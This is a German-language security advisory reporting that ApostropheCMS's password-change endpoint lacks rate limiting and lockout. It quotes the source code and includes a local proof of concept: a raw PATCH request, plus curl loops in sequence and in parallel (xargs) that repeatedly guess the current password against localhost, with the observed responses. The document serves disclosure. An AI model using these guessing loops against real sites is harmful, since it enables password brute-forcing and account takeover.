ApostropheCMS: Fehlende Ratenbegrenzung bei der Passwortänderung ermöglicht unbegrenztes Erraten des aktuellen Passworts

Zusammenfassung

Der Self-Service-Endpunkt zur Passwortänderung prüft zwar das aktuelle Passwort, verwendet jedoch weder den Zähler für fehlgeschlagene Anmeldeversuche noch Mechanismen zur Ratenbegrenzung, Verzögerung oder Kontosperrung aus dem Login-Modul. Ein Angreifer mit einer gültigen, authentifizierten Sitzung kann wiederholt Vermutungen für das aktuelle Passwort absenden, ohne gesperrt oder gedrosselt zu werden.

Betroffener Quellpfad

packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664

Die Route zur Passwortänderung: PATCH /api/v1/@apostrophecms/settings/password

Die Route ruft die Passwortprüfung direkt auf über: await self.handleProtectedSubform(req, subform, req.body );

Pfad der Passwortüberprüfung: packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542

async handlePasswordProtectedSubform(req, subform, payload) {
  try {
    await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);
  } catch (e) {
    throw self.apos.error(
      'forbidden',
      'apostrophe:passwordCurrentError',
      { path: 'passwordCurrent' }
    );
  }
  return subform;
}

Der Prüfer selbst erhöht weder den Anmeldeversuchs-Cache noch erzwingt er eine Verzögerung: packages/apostrophe/modules/@apostrophecms/user/index.js:412-487

Im Gegensatz dazu ruft die Login-Route explizit checkLoginAttempts und addLoginAttempt auf: packages/apostrophe/modules/@apostrophecms/login/index.js:831-929

Lokaler Proof of Concept (PoC)

Der Test nutzte eine authentifizierte Guest-Sitzung:

Anfrage:

PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-session>
Content-Type: application/json

{
  "password": "new-temporary-password",
  "passwordRepeat": "new-temporary-password",
  "passwordCurrent": "definitely-wrong-current-password"
}

Entsprechender Befehl:

for i in 1 2 3 4 5; do
  time curl -i -sS \
    -b /path/to/temporary-session-cookie-jar.txt \
    -X PATCH \
    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
    -H 'Content-Type: application/json' \
    --data-raw '{
      "password": "new-temporary-password",
      "passwordRepeat": "new-temporary-password",
      "passwordCurrent": "definitely-wrong-current-password"
    }'
done

Beobachtete Antwort: Alle fünf Versuche lieferten dieselbe unmittelbare Validierungsantwort:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
  "name": "forbidden",
  "data": {
    "path": "passwordCurrent"
  },
  "message": "apostrophe:passwordCurrentError"
}

Beobachtete Antwortzeiten lagen ungefähr bei:

• Versuch 1: 231 ms
• Versuch 2: 232 ms
• Versuch 3: 226 ms
• Versuch 4: 229 ms
• Versuch 5: 226 ms

Kein Versuch führte zu einer Drosselungsantwort, einer Sperrmeldung, einem Retry-After-Header oder einem Rate-Limit-Status.

seq 1 20 | xargs -P 20 -I{} sh -c \
  "curl --max-time 15 -sS \
    -o /tmp/password-attempt-{}.body \
    -w '%{http_code}\\n' \
    -b /path/to/temporary-session-cookie-jar.txt \
    -X PATCH \
    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
    -H 'Content-Type: application/json' \
    --data-raw '{\"password\":\"new-temporary-password-{}\",\"passwordRepeat\":\"new-temporary-password-{}\",\"passwordCurrent\":\"wrong-current-{}\"}'"

Ergebnis:

• 20 Anfragen -> HTTP 403 Forbidden
• 0 Anfragen -> HTTP 429 Too Many Requests
• 0 Anfragen -> Lockout-Antwort

Das gültige Passwort konnte sich danach weiterhin authentifizieren:

POST /api/v1/@apostrophecms/login/login HTTP/1.1
HTTP/1.1 200 OK

Auswirkungen

Ein Angreifer, der eine gültige Sitzung erlangt oder übernommen hat, kann wiederholt versuchen, das aktuelle Passwort über den Endpunkt zur Passwortänderung zu erraten. Jeder Versuch erhält eine reguläre Antwort, ohne dass Drosselungen oder Sperrmechanismen greifen. Ist das aktuelle Passwort schwach oder wiederverwendet, kann der Angreifer die Prüfung bestehen, das Kontopasswort ersetzen und sich anschließend mit den neuen Daten anmelden. Der Angriff erfordert eine gültige authentifizierte Sitzung und funktioniert nicht anonym.